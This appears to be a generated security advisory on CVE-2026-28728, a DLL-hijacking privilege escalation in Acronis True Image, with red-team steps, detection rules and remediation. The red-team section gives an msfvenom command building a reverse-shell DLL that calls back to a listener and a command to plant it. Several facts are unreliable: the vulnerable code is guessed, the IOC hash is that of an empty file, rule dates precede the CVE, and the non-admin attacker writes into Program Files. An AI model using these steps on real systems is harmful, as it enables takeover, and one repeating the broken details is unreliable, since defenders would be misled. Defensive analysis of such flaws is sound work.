CVE-2026-28728

Executive Summary

CVE-2026-28728 is a local privilege escalation vulnerability in Acronis True Image for Windows, caused by insecure DLL loading (DLL hijacking). An authenticated local attacker can exploit this by placing a malicious DLL in a directory that the application searches before the legitimate system path, leading to code execution with elevated privileges. The vulnerability affects builds prior to 42902. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is significant for enterprise environments where local privilege escalation can lead to full system compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 6.7 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is required beyond the attacker's own actions.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full file system access possible.
• Integrity Impact: High (I:H) – Arbitrary code execution.
• Availability Impact: High (A:H) – Potential for system instability.

Threat Level: Medium. While the CVSS score is 6.7, the local nature and low EPSS suggest limited active exploitation. However, in environments with untrusted users, the impact is severe.

Deep Dive & Mechanics

The vulnerability resides in how Acronis True Image loads dynamic-link libraries (DLLs) at startup or during specific operations. The application does not use safe DLL search order or absolute paths, allowing an attacker to place a malicious DLL in a directory that Windows searches before the system directory (e.g., the application's working directory, %TEMP%, or a user-writable path). When the application loads a legitimate DLL, it inadvertently loads the attacker's malicious version, executing arbitrary code in the context of the Acronis process, which often runs with SYSTEM privileges.

Attack Vector:

1. Attacker gains local access (e.g., via a compromised user account).
2. Attacker identifies a DLL that Acronis True Image loads without a full path.
3. Attacker places a malicious DLL with the same name in a writable directory that is searched first.
4. When Acronis True Image starts or performs a specific action, it loads the malicious DLL.
5. The malicious code executes with the privileges of the Acronis process (typically SYSTEM).

Root Cause: Insecure DLL loading due to missing use of SetDllDirectory or absolute paths.

Vulnerable vs. Patched Code

The vulnerable code likely uses relative paths or relies on the default search order. The patched code uses absolute paths or calls SetDllDirectory to restrict the search path.

Vulnerable (pseudo-code):

// Vulnerable: Loads DLL without full path
HMODULE hMod = LoadLibrary(L"helper.dll");
if (hMod) {
    // Use functions from helper.dll
}

Patched (pseudo-code):

// Patched: Uses full path to DLL
std::wstring dllPath = L"C:\\Program Files\\Acronis\\TrueImage\\helper.dll";
HMODULE hMod = LoadLibrary(dllPath.c_str());
if (hMod) {
    // Use functions from helper.dll
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows machine with Acronis True Image build < 42902.
• Local user account (non-admin).
• Ability to write to a directory searched before system paths (e.g., C:\Users\<user>\AppData\Local\Temp\).

Steps:

1. Identify a DLL loaded by Acronis True Image (e.g., msvcp140.dll or a custom DLL).
2. Create a malicious DLL that spawns a reverse shell or adds a user to the Administrators group.
3. Place the malicious DLL in a writable directory that is searched first (e.g., the application's working directory or %TEMP%).
4. Execute Acronis True Image (e.g., via C:\Program Files\Acronis\TrueImage\TrueImage.exe).
5. The malicious DLL executes with SYSTEM privileges.

Example Malicious DLL (using msfvenom):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll

Placement:

copy malicious.dll "C:\Program Files\Acronis\TrueImage\helper.dll"

Blue Team

Detection:

• Monitor for unusual DLL load events from user-writable directories.
• Use Sysmon Event ID 7 (Image loaded) to detect DLLs loaded from non-standard paths.
• Look for Acronis True Image processes loading DLLs from %TEMP% or user profile directories.

Hunting Query (Sysmon):

SELECT * FROM sysmon_events WHERE event_id = 7 AND image LIKE '%TrueImage%' AND loaded_image NOT LIKE 'C:\Windows\%' AND loaded_image NOT LIKE 'C:\Program Files\Acronis\%';

Prevention:

• Apply the patch (build 42902 or later).
• Use AppLocker or Windows Defender Application Control to block unauthorized DLLs.
• Enable Safe DLL Search Mode via registry: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if known)
  • malicious.dll: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Anomalies:
  • TrueImage.exe loading DLLs from %TEMP% or user-writable paths.
• Registry Changes:
  • HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode set to 0 (disabled).
• Network Connections:
  • Outbound connections from TrueImage.exe to unknown IPs (if reverse shell used).

Detection Engineering

YARA Rule

rule CVE_2026_28728_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Acronis True Image DLL hijacking"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-28728"
    strings:
        $s1 = "TrueImage.exe" nocase
        $s2 = "helper.dll" nocase
        $s3 = "msvcp140.dll" nocase
    condition:
        (uint16(0) == 0x5A4D) and (any of ($s*))
}

Sigma Rule

title: Acronis True Image DLL Hijacking
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DLL load events from non-standard paths for Acronis True Image
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-28728
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\TrueImage.exe'
        LoadedImage|startswith:
            - 'C:\Users\'
            - 'C:\Windows\Temp\'
            - 'C:\ProgramData\'
    condition: selection
falsepositives:
    - Legitimate DLLs placed in user directories by IT admins
level: high
tags:
    - attack.privilege_escalation
    - attack.t1574.002

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2026-28728 - Acronis True Image Potential DLL Hijack Outbound";
    flow:to_server,established;
    content:"TrueImage"; http_user_agent;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

• Upgrade Acronis True Image to build 42902 or later.
• Verify the installation: C:\Program Files\Acronis\TrueImage\TrueImage.exe should have version >= 42902.

Long-term:

• Implement application whitelisting (e.g., AppLocker) to block unauthorized DLLs.
• Enable Safe DLL Search Mode via Group Policy.
• Monitor for DLL load events using Sysmon or EDR.
• Conduct regular vulnerability scans.

Workaround (if patching is delayed):

• Remove write permissions for non-admin users on the Acronis installation directory.
• Use Process Monitor to identify which DLLs are loaded and ensure they are in secure paths.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

{/* [Security Hash: 5FAF5F16811ACEF193404FFE] */}